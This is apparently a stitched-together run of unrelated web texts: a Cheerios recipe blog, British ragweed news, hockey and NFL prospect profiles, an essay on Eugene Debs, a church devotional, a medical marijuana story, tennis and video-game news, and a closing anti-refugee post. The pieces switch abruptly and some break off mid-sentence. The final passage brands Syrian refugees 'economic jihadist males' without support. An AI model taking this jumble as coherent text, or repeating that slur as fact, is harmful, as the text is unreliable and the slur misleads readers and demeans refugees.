I’m sure everyone is familiar with making treats with cereal but have you ever considered burgers? I never even thought about it until I was browsing Cheerios recipes for this blog post. There are so many ideas – and it was so hard to pick one – so I decided to share THREE with you! The first is a classic – Cheerios Puppy Chow. I whipped up a quick batch and then mixed it with a bunch of other fun snack foods like marshmallows, yogurt covered raisins, chocolate sandwich cookies, and mini chocolate chip cookies. The second are some mouth-watering gluten-free sliders (the GF buns are optional). Last, but most definitely not least, are some No-Bake Honey Nut Cheerios Snack Bars with colorful chocolate covered sunflower seeds.
How’s that for Three CHEER-ios for Snack Time?!
Learn how I made these and while you’re here, be sure to enter to win $50 cash!
I spent many mornings growing up eating Cheerios and watching Saturday morning cartoons. It would be so neat to travel back in time to experience that all over again, even if for only a few minutes. Since I can’t, the next best thing is to pour a big bowl of cereal and watch them on the internet.
I didn’t realize there were so many varieties available today! There was only one when I was little and that was of course, Classic. For these recipes, I chose Honey Nut Cheerios to give them all a little bit of extra sweetness. You can also find Cheerios in an assortment of other flavors that include:
• Banana Nut
• Frosted
• Multi-Grain
• Multi-Grain Peanut Butter
• Apple Cinnamon Cheerios
I couldn’t believe how quickly these No-Bake Honey Nut Cheerios Snack Bars came together. They are super versatile too! Aside from the Cheerios, the options are endless. I went with dried wild blueberries, honey roasted almonds and peanuts, as well as those chocolate covered sunflower seeds I mentioned earlier. If you don’t care for blueberries, you can add raisins, dried cherries, cranberries, or nothing at all! Do you know someone with a peanut allergy? Leave them out – it’s totally up to you! The best part is that it is done in the microwave. You are essentially making a caramel sauce and then stirring in the rest of your ingredients. To shape them, just press into a parchment lined pan and refrigerate until firm. Once they have chilled, cut into desired shapes. You can cut straight lines and make bars or use metal cookie cutters in your favorite shapes. I cut mine and put each one into a snack sized zip top bag. They are now ready to be added to my hubby’s lunchbox for the coming week.
No-Bake Honey Nut Cheerios Snack Bars 2015-08-15 21:55:50 Write a review Save Recipe Print Prep Time 10 min Cook Time 3 min Prep Time 10 min Cook Time 3 min Ingredients 1/4 cup butter 1/4 cup corn syrup 1/4 cup light brown sugar 1 tablespoon vanilla extract 3 cups Honey Nut Cheerios 1/2 cup dried wild blueberries 1/4 cup honey roasted peanuts 1/4 cup honey roasted almonds 1/4 cup chocolate-covered sesame seeds pinch sea salt Instructions Line 8x8 square baking pan with parchment paper and spray with non-stick spray. Set aside. In a large microwave safe bowl, combine corn syrup, butter, brown sugar and heat for 1 minute. Stir mixture and heat again for 1 minute. Stir mixture and heat a final time, again for 1 minute. Remove from microwave and carefully stir in vanilla. It will bubble up so be careful not to get burned. Stir in the cereal, blueberries, and nuts. Press evenly into prepared pan. Sprinkle with sunflower seeds and sea salt. Freeze for 45 minutes or refrigerate for a few hours, until firm. Store in refrigerator if temperature is hot out. Adapted from Averie Cooks Adapted from Averie Cooks Little Emerald Thumb http://www.littleemeraldthumb.com/
You know, I said the Honey Nut Bars were fast, but the Cheerios Puppy Chow snack mix was even quicker. I love that both of these recipes utilize the microwave, cutting down on prep AND cleaning time tremendously. Since I hand wash my dishes, I dread it when I have to wash every pot in my cupboard. Not with these! Simply melt some peanut butter, chocolate chips, and butter in a microwave safe bowl and zap for one minute. Give it a stir then pour over your Cheerios. Combine that well and add the powder sugar. Now comes the fun part – pop a lid on the container and give it a good shake. If you want, you can substitute hazelnut spread for the peanut butter. I substituted with honey peanut butter to keep with the honey theme.
Mix the puppy chow with your favorite snacks and store in an airtight container.
Cheerios Puppy Chow Snack Mix 2015-08-15 22:03:13 Write a review Save Recipe Print Ingredients 2 cups Cheerios 1/4 cup chocolate chips 2 tablespoons honey peanut butter 2 tablespoons butter 6 tablespoons powdered sugar Optional Ingredients for Snack Mix 1 cup mini chocolate sandwich cookies 1 cup mini chocolate chip cookies 1 1/2 cups marshmallows 1 cup yogurt covered raisins 1 cup mini peanut butter cups Instructions Microwave chocolate chips, peanut butter and butter in a microwave safe bowl for 1 minute. Put cheerios into a plastic storage bowl with a lid. Pour chocolate peanut butter mixture on top of Cheerios and mix until evenly coated. Add confectioners sugar, place the lid on the bowl, and shake well. To complete snack mix Gently combine all of the ingredients in a large zip top bag and store at room temperature for a couple of days. Little Emerald Thumb http://www.littleemeraldthumb.com/
So on to the most unusual way I have ever seen Cheerios used. I honestly wasn’t too sure how these would turn out but they are crazy good! You crush up Cheerios and add them to the beef, sort of like you would do breadcrumbs in a meatball recipe. I found the best way to crush the cereal was in a bag using a mallet. (It’s also a great way to get out a little aggression!) Then add it to some pasture-raised ground beef, onions, soy sauce, and egg. Fry them up in your cast iron skillet and serve on mini buns. Use rice flour buns if you would like to make these gluten-free. This recipe is also a great way to use up some of those tomatoes from the garden!
Now for the $50 PayPal GIVEAWAY! Enter using the widget below for your chance to win!
$50 #Cheeriosfunflavors Giveaway
The mild weather has allowed ragweed to flourish, a plant normally found only in North America.
The pollen of ragweed is notorious for sparking allergies and asthma attacks across the Atlantic but it requires lengthy mild autumns to survive, and so is rarely seen in Britain.
However scientists at the University of Leicester had recorded ragweed pollen in the air on four consecutive days in the East Midlands in September.
And the problem is likely to get worse as an unseasonal heatwave grips Britain this weekend sending temperatures soaring to 73F (23C).
"Ragweed can't survive in the East Midlands because of our cooler climate compared to North America and Central Europe, so we were very surprised to see it when we analysed the pollen and fungi in the air earlier this month,” said Dr Catherine Pashley from the Department of Infection, Immunity and Inflammation.
“Most years we haven’t seen any at all. Some years we’ve seen one or two grains in a day. Now instead we’ve had ragweed in the air on four consecutive days and one of the days it went well above the level which is known to cause problems in people allergic to it. So that was completely unexpected. "It could extend the hayfever season for people who may be allergic to it.
"Whether or not we continue to see more ragweed will very much depend on how mild this autumn is and when we have the first frost. If it is a late frost, it is likely that ragweed levels may increase this time next year."
Ragweed pollen under the microscope
The university has monitored the pollens and fungal spores present in the air using spore traps based at the University of Leicester for the past 40 years.
Historically there has never been more than a few grains of ragweed in the air on any one day and most years the pollen is not seen at all.
In Europe, ragweed was first seen in the 1960s and is the cause of much hayfever misery to sufferers in Central and Eastern Europe.
It was predicted in the early 1990s that if annual average temperatures continue to increase by per decade, ragweed could spread north and be present in Central England by 2050.
But the new findings suggest the plant is making its presence felt earlier than expected because of the mild winters.
This weekend the chilly and foggy September weather of recent weeks will melt away to be replaced with blue skies and highs of around 73F (23C) in the south through the weekend. Humid conditions could make some parts of the country feel closer to 81F (27C).
Next week will remain unseasonably warm with temperatures of around 66F (19C). And the unusually clement weather has been tipped to hold out for at least another month with no sign of winter on the way.
"Temperatures are going to be pretty good for the time of year with highs in the low 20s expected in the south and 19C in the north next week," said Met Office forecaster Mark Wilson.
"Most of the UK will be dry and sunny on Friday although there could be some winds across Scotland.
"It is a similar picture for the weekend and into next week with nighttime temperatures picking up.
"For the end of September it is looking very respectable, with temperatures well above-average for the time of year."
Long-range forecasts say Britain could be in for above-average temperatures until the end of November.
James Madden, forecaster for Exacta Weather, said: "A significant area of high pressure is likely to build in across many parts of the country towards the end of the month and into the early part of October, resulting in some even warmer and potentially very hot weather for the time of the year."
The Galchenyuk Show (5-point game on December 15, 2012)
Producing gaudy offensive numbers has not been a problem lately for the third overall pick in the 2012 NHL Entry Draft. Since the start of November, the 6-foot-1 Galchenyuk has formed a potently dangerous line with New Jersey Devils’ prospect Reid Boucher and the undrafted Charles Sarault causing havoc for all opposing teams. Galchenyuk has been a model of consistency all season long as he has only went pointless in six games over his 33 played this season. The Sarnia Sting have relied heavily on Galchenyuk’s production and he has went above and beyond, especially in his last 17 games where he has tallied an impressive 19 goals and 40 points to complement his shiny plus-14 rating.
From all early accounts, the Montreal Canadiens appear to have had an extremely successful draft in 2012 but their third overall selection of Alex Galchenyuk may have been one of their biggest steals. After missing all but two regular season games last year with a devastating preseason knee injury, Galchenyuk has returned quickly to full form and that speedy recovery can be attributed to his remarkable work ethic, on and off the ice. In his draft year, Galchenyuk remained one of the top ranked skaters all season long despite playing sparingly and his recent dominance certainly supports the advocates that even had Galchenyuk ranked first overall ahead of Nail Yakupov.
As with most serious knee injuries, there was plenty of concern surrounding Galchenyuk’s health and his rehabilitation. A closer look at Galchenyuk’s post-draft season shows that those cautious followers can breathe easier now. Galchenyuk’s skating shows no signs of weakness and his stride and power could be considered better than his pre-injury stride. His ability to change the pace with a few powerful strides is one of his best assets and he utilizes these short bursts of power to attack quickly. Galchenyuk can often be seen employing his elite puck protection skills with his long reach using his body to shield away opponents and then quickly cut to the middle of the ice to rip a shot past opposing goaltenders or find a teammate with a pass on the back door step.
Galchenyuk has played mostly on the right wing this season, a change from his usual centre position, and it has added another element of versatility to his game. The change to wing has been implemented by Coach Jacques Beaulieu to keep Galchenyuk and Sarault together on the same line, forming one of the Canadian Hockey League’s top trios with Boucher on the left wing. The Montreal Canadiens would surely love to have Galchenyuk as their future number one pivot but his success on the wing this season cannot be overlooked. With an elite ability to work off of the half-boards and cycle the puck down low, Galchenyuk can utilize this rare skill equally as well on the wing. Furthermore, Galchenyuk has shown a tendency to attack from the off-wing as he likes to trick defenders with a fake wrist shot on the rush as he toe drags through their legs and blasts by them with a few short powerful strides. Galchenyuk has used this attacking move quite often this year and it has come with great success, mainly because he keeps defenders honest by sniping goals in a similar fashion with his quick wrist shot using the defender as a screen.
Goal scoring has never been an issue for Galchenyuk. His shot features pin point accuracy and a release that develops the velocity necessary to make opposing goalies look foolish. Take a look at a few of Galchenyuk’s most recent goals and it is clear that his shot has elite elements. At the half-way point of the OHL season, number 94 sits tied in OHL goal scoring with 27 goals, just four back of his career high (31) that he set as the OHL’s top rookie in 2010-11. As good as Galchenyuk’s goal scoring ability is, his vision and playmaking skills remain his most impressive talents as he has a deceiving ability to find open teammates and thread extremely difficult passes with great accuracy at the drop of a hat. Defending teams have to ensure perfect gap control on Galchenyuk as he can quickly take an inch of open ice and turn it into a prime scoring chance with his elusive in-close puck handling skills. Montreal Canadiens fans will quickly learn that Galchenyuk has an element of unpredictability as he can either employ his sharp shooting abilities or feed a streaking teammate from a position where no one expects a pass from.
Galchenyuk with 2 goals and 1 assist (December 14, 2012)
Galchenyuk undresses defender Alex Gudbranson (December 9, 2012)
Coach Jacques Beaulieu has used Galchenyuk in every situation this season and his increasing confidence is becoming a dangerous weapon. On the penalty kill, Galchenyuk has shown great positioning, good anticipation, a tricky stick and a willingness to block shots helping the team win games and produce one of the OHL’s top penalty killing units (5th – 83.8%). Moreover, the Sarnia Sting have the third ranked power play unit (26.4%) and Galchenyuk’s seven power play goals and 11 power play assists have been a big factor in that success. There have been a number of great surprises in Sarnia Sting land this season including exceptional goaltending from JP Anderson, an increase in special teams performance and the improved ability to compete as a team; but, it is safe to conclude that Sarnia’s success would not be as great without the strong play of Captain Alex Galchenyuk.
As the NHL continues to be locked out, Galchenyuk will gladly continue his torrid pace playing in the OHL; however, if the work stoppage comes to an end soon, it is expected that Galchenyuk would report to the Montreal Canadiens immediately, if the franchise requests his services. Galchenyuk is ready to play in the National Hockey League and would add an element of offense to the Canadiens’ attack if General Manager Marc Bergevin feels it is worth burning a year off of Galchenyuk’s entry-level contract for three months of his services.
The former first overall selection in the 2010 OHL Priority Selection Draft sits just one point back from OHL leading scorer Ryan Strome after Galchenyuk’s 5-point effort as both players head to Ufa, Russia to compete for the respective countries. Galchenyuk has factored in on 49.2% of the Sarnia Sting goals scored this season whereas Strome has seen his name attached to 48.4% of the Niagara Ice Dogs’ 128 goals.
The Sarnia Sting leading scorer is set to fly out for the 2013 World Junior Hockey Championships with teammate Connor Murphy as Team USA prepares to improve on a disappointing seventh place finish at last year’s tournament. USA Head Coach Phil Housley will lean heavily on Alex Galchenyuk as a source of offense, an area that the Americans have struggled with in the past few championships. It will be the first time that Galchenyuk has represented the Americans in an IIHF sanctioned international tournament and expectations are extremely high for this budding offensive prospect.
The Sarnia Sting will be without their team captain’s services for likely five games (December 28th vs. Brampton, December 31st vs. London, January 1st @ London, January 4th vs. Windsor and January 5th @ Erie) and will look to Charles Sarault, Nikolay Goldobin and Reid Boucher, who was a surprise omission from the Team USA WJHC roster), to provide the scoring in his absence.
As Alex Galchenyuk departed Saturday, the classy young men sent out quick message via twitter,
@AGally94 Great first half of the season! Very proud of all the guys! #sarniasting #HappyHolidays
Who would not want this gentleman as the potential face of your franchise?
What did the man who Bernie Sanders today claims as his personal hero really stand for? Elizabeth Schulte tells the story of American socialism’s best-known figure.
IT’S NOT your typical presidential candidate who identifies as a socialist, but Bernie Sanders does. A poster of Eugene V. Debs, the popular Socialist Party leader of the early 20th century, hangs on his office wall as a tribute to Sanders’ self-proclaimed hero.
Like Debs, who ran for president five times, Sanders is also running for president. But that, my friends, is where the similarities end.
The socialism of Bernie Sanders—who says he’s running as a Democrat to shift the debate to the left--is fundamentally different from that of Eugene Debs, who committed his life to spreading the ideas of revolutionary socialism. Sanders is promoting something that falls far, far short of the fundamental change that Debs fought for. Sanders relegates socialism to the realm of nice ideas that can be talked about, but never really be implemented—while he accepts what little the Democratic Party is willing to concede.
For Sanders, the working class is a “constituency,” a backdrop to the political campaigns he runs and the legislative work he does. For Debs, the working class was in the foreground of everything he hope to achieve—because he believed, as a convinced Marxist, that workers have to make the fundamental and lasting transformation that he called socialism.
Eugene V. Debs
The fact that the mainstream media has been forced to acknowledge the existence of Eugene V. Debs recently is a little victory, since his story is largely buried. In fact, Debs’ home in Terre Haute, Indiana, now the location of a modest museum, served as a fraternity house from 1948 to 1962. The brothers of Tau Sigma Alpha were probably too busy partying to think about the legacy of the town’s famous resident.
At best, Debs is treated like an anachronism—a relic of a bygone era and a reminder of the days of old-fashioned ideas like socialism. But the true legacy of Eugene V Debs speaks to America’s radical tradition during his own time and the potential popularity of socialist ideas today.
LIKE MOST socialists, Debs arrived at radical ideas out of his experiences of capitalism.
His life coincided with a huge transformation in U.S. society, and those events impacted the way he looked at the world. When Debs was 7 years old in 1863, Abraham Lincoln issued the Emancipation Proclamation. At the age of 14, he got a job painting signs for the railroad—a year later, in 1870, he became a railroad fireman. The same year, John D. Rockefeller founded Standard Oil, which would become the largest multinational corporation in the world.
When Debs was 21 in 1877, railroad workers across the country went on strike against poverty wages and dangerous working conditions. Nine years later, an explosion went off at a rally in Chicago’s Haymarket Square, the epicenter of the fight for the eight-hour day—and radicals and anarchists were framed for it, leading to the hanging of the Haymarket martyrs. Seven years later, Debs helped organize the first industrial union: the American Railway Union.
Debs came of age during the era of the robber barons, times of unbridled greed and capitalist expansion. The growth of the railroads meant that modern cites began to emerge across the country. During this time, the U.S. also experienced repeated economic depressions. The image of men riding the rails and looking for work was a familiar one.
Debs worked on the railroad for a few years—before he became an organizer for the Brotherhood of Locomotive Firemen—and he developed a deep understanding of the daily dangers faced by railroad workers. In 1893, he helped start the American Railway Union (ARU), which was inspired by the militant Western Federation of Miners founded the same year.
Debs was forever changed as a leader of the Pullman strike in Chicago in 1894 against the Pullman Sleeping Car Co. The federal government intervened against strikers, provoking violence that ended in the deaths of 13 workers. With this, Debs learned both the power of the working class when it used the strike weapon—and the lengths the federal government would go to side with the bosses against workers. As he wrote in 1902 in an article titled “How I became a socialist”:
The combined corporations were paralyzed and helpless. At this juncture there were delivered, from wholly unexpected quarters, a swift succession of blows that blinded me for an instant and then opened wide my eyes—and in the gleam of every bayonet and the flash of every rifle the class struggle was revealed. This was my first practical lesson in Socialism, though wholly unaware that it was called by that name. An army of detectives, thugs and murderers were equipped with badge and beer and bludgeon and turned loose; old hulks of cars were fired; the alarm bells tolled; the people were terrified; the most startling rumors were set afloat; the press volleyed and thundered, and over all the wires sped the news that Chicago’s white throat was in the clutch of a red mob; injunctions flew thick and fast, arrests followed, and our office and headquarters, the heart of the strike, was sacked, torn out and nailed up by the “lawful’ authorities of the federal government; and when in company with my loyal comrades I found myself in Cook County jail at Chicago with the whole press screaming conspiracy, treason and murder, and by some fateful coincidence I was given the cell occupied just previous to his execution by the assassin of Mayor Carter Harrison Sr., overlooking the spot, a few feet distant, where anarchists were hanged a few years before, I had another exceedingly practical and impressive lesson in Socialism.
Later confrontations with the state and police convinced Debs of the violence of the government and the need for workers to organize their own self-defense. So by 1914, in response to the horrible brutality meted out on a tent colony of striking miners and their families in Ludlow, Colorado, Debs argued in an article in the International Socialist Review that the mineworkers’ unions should create a “Gunman’s Defense Fund.”
THESE EXPERIENCES also exposed to Debs the futility of relying on politicians to win better conditions for working people. Previously, Debs was a member of the Democratic Party—he campaigned for the Populist Democrat William Jennings Bryan in 1896. Workers needed their own organization, he concluded, and Debs devoted the rest of his life to building it.
He helped found the Socialist Party (SP) in 1901 and ran on the party ticket for president five times. In 1912, he won almost a million votes, good for about 6 percent of total. In 1920, he ran from prison where he was incarcerated for his opposition to the First World War, and won almost a million votes again. In 1908, he traveled across the country in a train dubbed the “Red Special,” speaking to thousands of people about socialism.
During his campaigns, Debs challenged the capitalist politicians and explained why they had nothing to offer workers. And he had advice for left-wing Democrats: If they really supported left-wing ideas, then they should defect and join the Socialists:
The radical and progressive elements of the former Democracy have been evicted and must seek other quarters. They were an unmitigated nuisance in the conservative counsels of the old party. They were for the “common people” and the trusts have no use for such a party. Where but to the Socialist Party can these progressive people turn?…Every true democrat should thank Wall Street for driving them out of a party that is democratic in name only, and into one that is democratic in fact.
Above all, election campaigns for Debs were opportunities to create a platform for socialist ideas and make an argument that it was the working class, not politicians, that had the power to transform society. He made this point to fellow SP members in 1911:
We should seek only to register the actual vote of Socialism, no more no less. In our propaganda we should state our principles clearly, speak the truth fearlessly, seeking neither to flatter nor to offend, but only to convince those who should be with us and win them to our cause through an intelligent understanding of its mission… Voting for Socialism is not Socialism any more than a menu is a meal. Socialism must be organized drilled, equipped and the place to begin is in the industries where the workers are employed… Without such economic organization and the economic power with which it is clothed, and without the industrial co-operative training, discipline and efficiency which are its corollaries, the fruit of any political victories the workers may achieve will turn to ashes on their lips.
The electoral campaign was only a means to a greater cause, the self-organization of the working class. In this way, Debs agreed with the left wing of the Socialist Party—people like Bill Haywood and Mother Jones, who would help found the Industrial Workers of the World. They advocated workers taking control where the power of the ruling class was rooted—in the factories. But he disagreed with others on the left who argued that elections had no role to play at all. He thought the two things—election campaigns and workplace organizing—were both jobs for socialists.
REPEATEDLY, DEBS emphasized that socialism had to be achieved by workers themselves. In a 1905 speech, he argued:
Too long have the workers of the world waited for some Moses to lead them out of bondage. He has not come; he never will come. I would not lead you out if I could; for if you could be led out, you could be led back again. I would have you make up your minds that there is nothing that you cannot do for yourselves. You do not need the capitalist. He could not exist an instant without you. You would just begin to live without him. You do everything and he has everything, and some of you imagine that if it were not for him you would have no work. As a matter of fact, he does not employ you at all; you employ him to take from you what you produce, and he faithfully sticks to this task. If you can stand it, he can; and if you don’t change this relation, I am sure he won’t. You make the automobile, he rides in it. If it were not for you, he would walk; and if it were not for him, you would ride.
Within the SP, members had very different ideas about socialism and how it would be achieved. Some believed in socialism as a steady increase in social reforms achieved by socialists being elected to political office—others looked to a revolutionary transformation of society. As a result, conservative and backward ideas, like the racism of SP leader Victor Berger, existed alongside the revolutionary socialism of Debs.
Divisions grew between the SP left and right and came to the breaking point with the First World War and the successful workers’ revolution in Russia.
Debs proudly represented the internationalist position of genuine socialists. He opposed the imperialist war, in the face of the epidemic of patriotism that caught hold across the U.S. and the state repression faced by antiwar activists who dared to speak out.
Debs’ famous Canton speech in 1918—which was almost two hours long and dutifully transcribed by a federal government stenographer planted in the audience--remains necessary reading for socialists today. At the age of 63, he was sentenced to prison, based on the speech, which was submitted by the prosecution during Debs’ trial.
When news that Russian workers had taken power in 1917 reached the U.S., Debs celebrated the revolution. Like leftists around the world, he was inspired by the Russian workers’ example and gained confidence in the fight against war and for the self-emancipation of the working class.
Eventually, those leftists who remained in the SP quit to help form a new Communist Party on the model of what Lenin and the Bolsheviks had built in Russia. Debs, while he supported the Russian Revolution and remained a revolutionary, nonetheless stayed in the SP.
For his final presidential campaign in 1920, Debs ran as inmate #9653 from the Atlanta Federal Penitentiary. From jail, Debs learned more about the injustice system from his fellow prisoners. He became so beloved that when he was released, they presented him with a hand-carved cane depicting historic labor struggles.
By Cindy Thomas of Independence, Missouri, USA
…they shall beat their swords into plowshares, and their spears into pruning hooks; nation shall not lift up sword against nation, neither shall they learn war any more.
—Isaiah 2:4 NRSV
Responsible Choices is one of Community of Christ’s Enduring Principles. In the past, my husband and I never would have imagined choosing to let our teenage son hang out with a former prison inmate. But times change, and we learn.
A man in our congregation was mentoring and helping a man following his parole from prison. One night our son joined in helping this man set up a television, DVD player, and other electronic equipment not even available when he entered prison.
Did we make a responsible choice by allowing him to do this? Yes! We are part of a congregation of accepting and outreaching disciples who choose to engage in prison ministry with men and women society have locked away. We teach our son not to judge others but to be of service when someone needs us. We were affirming the worth of this man by helping him adjust to his new life.
Times change. This new life led to this man’s ordination and ministry to many others.
Prayer for Peace Forgiving God, help us to see past the prison bars to the faces of the people behind them—the face of Christ. Help us let them know you love them. Help us encourage them to make peace and seek you, their Creator.
Spiritual Practice: Making Responsible Choices Prayerfully seek God’s guidance in your choices. Discernment invites us to orient our lives toward God and God’s vision for us and creation. Begin by reviewing the responsibilities and opportunities in the day before you. Take these choices into prayer, asking God for wisdom and insight about what matters most. Ask for a blessing to live this day responsibly and compassionately in the Spirit of Christ.
Peace Covenant Today God, as I think of turning swords into plowshares, I will turn silence into words of encouragement, despair into dignity, isolation into community, for a person left on the margins.
ATLANTA - A Georgia state representative has renewed her fight to expand Georgia’s medical marijuana law after her own breast cancer diagnosis.
Channel 2’s Lori Geary landed an exclusive interview with state Rep. Dee Dawkins-Haigler, D-Lithonia, who says she’s determined now, more than ever, to help similar patients.
“For me, it’s very personal. I’m living it day by day,” Dawkins-Haigler told Geary.
She invited Geary along during one of her treatments for breast cancer.
Special Section: Medical Marijuana in Georgia
After two surgeries, she’s now undergoing radiation treatments five times a week and talking publicly for the first time about her personal journey and now what has turned into her personal fight.
“For me, I would rather have medical cannabis than to have Percocet or the oxycodone,” Dawkins-Haigler said.
She told Geary she speaks from experience.
Dawkins-Haigler traveled to Colorado, California and Washington, where full medical marijuana is legal.
STORY: Gov. Nathan Deal signs medical marijuana bill
“I tried some of the products. It did help alleviate the pain and the nausea…that was great for me because I don’t want to be addicted to prescription pills,” Dawkins-Haigler said.
This past legislative session, Georgia passed its first medical marijuana law, allowing patients diagnosed with one of eight conditions to possess cannabis oil. Cancer is one of them.
Most patients must travel out of state to access the cannabis oil, especially those who require a higher level of THC, the part of the plant that gets you high.
EXCLUSIVE: Channel 2 tours Colorado lab that creates medical marijuana oil
Georgia limits the THC in cannabis oil to 5 percent.
“I could use the stuff there and in California, Washington state, but I had to leave it all there because if I brought it back with me on the plane, that would be trafficking and I would be arrested and the last thing I need is you doing another story and not this story,” Dawkins-Haigler told Geary.
LONDON, Nov 19 (Reuters) - Rafa Nadal will be pose a significant grand slam threat again next year after showing signs of returning to his best, according to two of the Spaniard's greatest rivals.
Spaniard Nadal slumped to 10th in the world rankings this year after a crisis of confidence and form, but since a third-round defeat at the U.S. Open by Italian Fabio Fognini he has rediscovered his old spark.
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So far this week at the ATP World Tour Finals he has beaten world number four Stanislas Wawrinka and number two Andy Murray, without dropping a set to reach the semi-finals with a match to spare, where he will face world number one Novak Djokovic.
Serbia's Djokovic, who trails Nadal 23-22 but has won all three matches this year, says the 29-year-old is over his slide.
"It's a fact that he's been playing better and he's been raising his level ever since U.S. Open," Djokovic told reporters after his victory over Tomas Berdych on Thursday.
"You can feel that he's starting to get comfortable on the court, starting to play better.
"The couple of matches, first couple of matches he played here against Wawrinka and Murray showed that, showed that he feels more confident, shows that he's starting to miss less, serve efficiently, use his forehand much better."
Seventeen-times major champion Roger Federer has suffered at the hands of Nadal more than any other player, losing 23 of their 34 contests, and fully expects the Mallorcan to continue his form into 2016, providing he stays fit.
"Maybe for his standard it's not the best season. What is he going to finish, top five? It's still a good season," said the Swiss. "Everybody would take that except maybe a few players at this tournament. The rest would all love to be in his shoes.
Story continues
By of the
Green Bay — Too many personal film sessions ran long. When Jake Spavital returned to his office at West Virginia, quarterback Geno Smith was usually camped out watching tape. The quarterbacks coach had no choice but to shag Smith away. The quarterback had class.
So then, Spavital had a solution.
“I got him an iPad so he’d go to class,” said Spavital, who is now at Texas A&M. “And then he’d start watching the iPad tape in class, which causes more distractions.”
A constant need for film paid off. Smith is widely considered the top quarterback prospect in this year's NFL draft class.
Questions dominate the position. Unlike last year, there isn't an Andrew Luck or a Robert Griffin III rampaging into the NFL. West Virginia’s Smith is the headliner and could go as high as No. 1 overall to the Kansas City Chiefs. On Tuesday, Spavital described Smith as the quintessential “film junkie.” Through these last few years, he has coached the record-setting Case Keenum at Houston, Brandon Weeden at Oklahoma State and then Smith.
Out of the three, Smith was the most complete quarterback. And while outsiders may have doubts, Spavital believes Smith has a skill-set that will translate to the pros.
To him, the Chiefs have to take Geno Smith first overall.
“I think it’s a no-brainer to take the first quarterback overall,” he said. “I’ve been around some pretty good ones and I’ve never seen a guy that’s this complete as a quarterback. And he’s hungry.”
On that iPad, Smith watched every snap of Aaron Rodgers’ season in 2011. Sometimes, Spavital joined him but usually Smith watched the Packers quarterback on his own. The 6-foot-3, 215-pounder began mimicking Rodgers’ play-action tendencies. The Packers and Mountaineers run a handful of similar formations. In the split-back, play-action game, Smith noticed that Rodgers rides a prolonged fake to the running back to protect himself longer in the pocket.
So he started doing the same thing at West Virginia.
Same story with Drew Brees. Smith liked how Brees pump-faked the opposite direction before throwing screen passes to backs, so he picked that habit up, too.
“He studies it,” Spavital said. “With Brandon Weeden, I couldn’t say that about him. I love the guy to death but he had some good guys around him. Brandon knew how to get the ball to those guys. There were times at West Virginia when (Smith) had to create things.”
All three quarterbacks Spavital coached were very different. He said Keenum had the quickest release of the three but didn’t measure up physically. Weeden had the “strongest arm” but also benefited from a strong supporting cast.
Smith was the best overall player. Neither Weeden or Keenum were quite the student of the game, too.
“He could do it all,” Spavital said. “He could be under center. He can throw out of the shotgun. He can throw comebacks. He can pull it and run when he needs to. We got to do some pretty good stuff with Geno because he was such a good student of the game and we could do anything with him. ... He impresses me a lot with the things that he can do — how he operates the game, how he studies. He would actually sit there and bring ideas to the table. There were times when we let him check 80% of the game. We put a lot on him and he’s capable of doing that."
Smith finished the 2012 season with 4,205 passing yards, 42 touchdowns and only six interceptions. At times, he was video-game efficient.
In a 70-63 win over Baylor, Smith was a mind-boggling 45 of 51 for 656 yards with eight touchdowns and no picks. The next week — surrounded by 100,000-plus at Texas — he led West Virginia to a 48-45 win. And when Smith couldn't feel his hands in a frigid win over Iowa State, he pretended to do play-action fakes in the screen game to get a better grip on the ball.
Said Spavital, "He knows how to think on his feet and be creative with things.”
But there was also that whole five-game losing streak in the middle of the season. Smith's early grip on the Heisman Trophy slipped away and the Mountaineers’ season ended with a thud against Syracuse when Smith was less than impressive. Spavital admits Smith didn't have enough touch on his deep ball as a junior, but said the mid-season struggles in 2012 were a reflection of coaches asking him to do too much more than Smith himself.
Overall, an attention to detail fed Smith's growth and he mostly shed any potential "system quarterback" label. Smith operated in the shotgun and under center. Immediately after each home game, Smith and Spavital watched a replay of the full game together. Smith cleaned up, grabbed food and brought it to his coach's office. He needed to see it while it was fresh in his mind.
From there, Spavital said the quarterback would watch that Saturday's game “four or five times” before their next meeting together.
At the NFL scouting combine, Smith now has a chance to cash in.
“There are those guys that are ‘what can football do for me?’ He’s ‘what can I do for football,’” Spavital said. “That’s how he approaches it. You take the game away from him and he’s got nothing.”
Here are some more quarterbacks who can help themselves in Indianapolis:
Matt Barkley (USC): A likely Top 10 pick in 2012, Barkley elected to return for his senior season and did not exactly boost his draft stock. USC struggled mightily, though Barkley did finish with 3,000-plus yards and 35-plus touchdowns for a second straight season.
Mike Glennon (N.C. State): Up and down in Mobile, is a soft-spoken quarterback and scouts probably are not thrilled that Glennon stands 6 feet, 7 inches tall. He does have a strong arm and played in the same pro-style offense that Matt Ryan thrived in.
Ryan Nassib (Syracuse): Accurate underneath and has a quick release. The Hackett crash course can't hurt, either. Doesn't drive the ball downfield as well as the other quarterbacks. Maximized the talent around him at Syracuse with 3,749 yards, 26 touchdowns as a senior.
E.J. Manuel (Florida State): MVP of the Senior Bowl game could be this year's best read-option, um, option at quarterback. Great size (6-5, 240), but could use development. The debate will rage on Manuel from now until April.
Tyler Wilson (Arkansas): Change in coaches and talent around Wilson didn't help Wilson through a miserable 4-8 season for the Razorbacks. Despite losing three of receivers to the draft, Wilson was still productive (3,387 yards, 21 touchdowns, 13 interceptions).
Past Combine Countdown posts...
OL: Central Michigan's Eric Fisher surging after strong Senior Bowl week
For many of the fans, people have been worried that they would have to get PS4 and Xbox One for the new Batman game coming out October 25th. It seems that Sony thought of something for PS3 users who won’t be getting the new console.
During the PlayStation event at E3, Sony‘s Jack Tretton announced Batman: Arkham Origins would get some exclusive content on PS3 themed around the Knightfall storyline. In addition to that, a 1960s Batman skin will also be available on PS3. You have Azarel’s Batman and the 1960’s Batman, which looks super brolic! That is definitely not Adam West’s Batman. Nope.
See the skins below.
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This is very concerning. It would appear most of the “refugees” are economic jihadist males between the age of 18-45 years old. They have recently arrived courtesy of President Obama, Secretary Kerry and the State Department.
Hillary Clinton’s “Rebels” arrive in the U.S.
New Orleans – […] The first transport of refugees arrived in New Orleans recently and will be resettled in Louisiana and 180 other American communities.
[…] The 10,000 Syrian refugees are first flown to the United States, according to the French news wire Agence France-Presse, with the State Department paying the International Organization for Migration (IOM) for the airfare.
Then, once the refugees arrive in the country, they could be dispersed across the 180 cities listed above, where they are to aided within the first 30 to 90 days in settling and finding employment in the area.
After approximately 90 days, refugees are no longer eligible for the State Department-funded support that they were receiving through migrant and refugee services. However, they are able to join support programs through the Department of Health and Human Services.
Additionally, it is unclear how much the screening process for the 10,000 Syrian refugees will cost American taxpayers.
The State Department spent $1.1 billion resettling people from around the world in the country last year. That’s about $16,000 per person. (read full article)
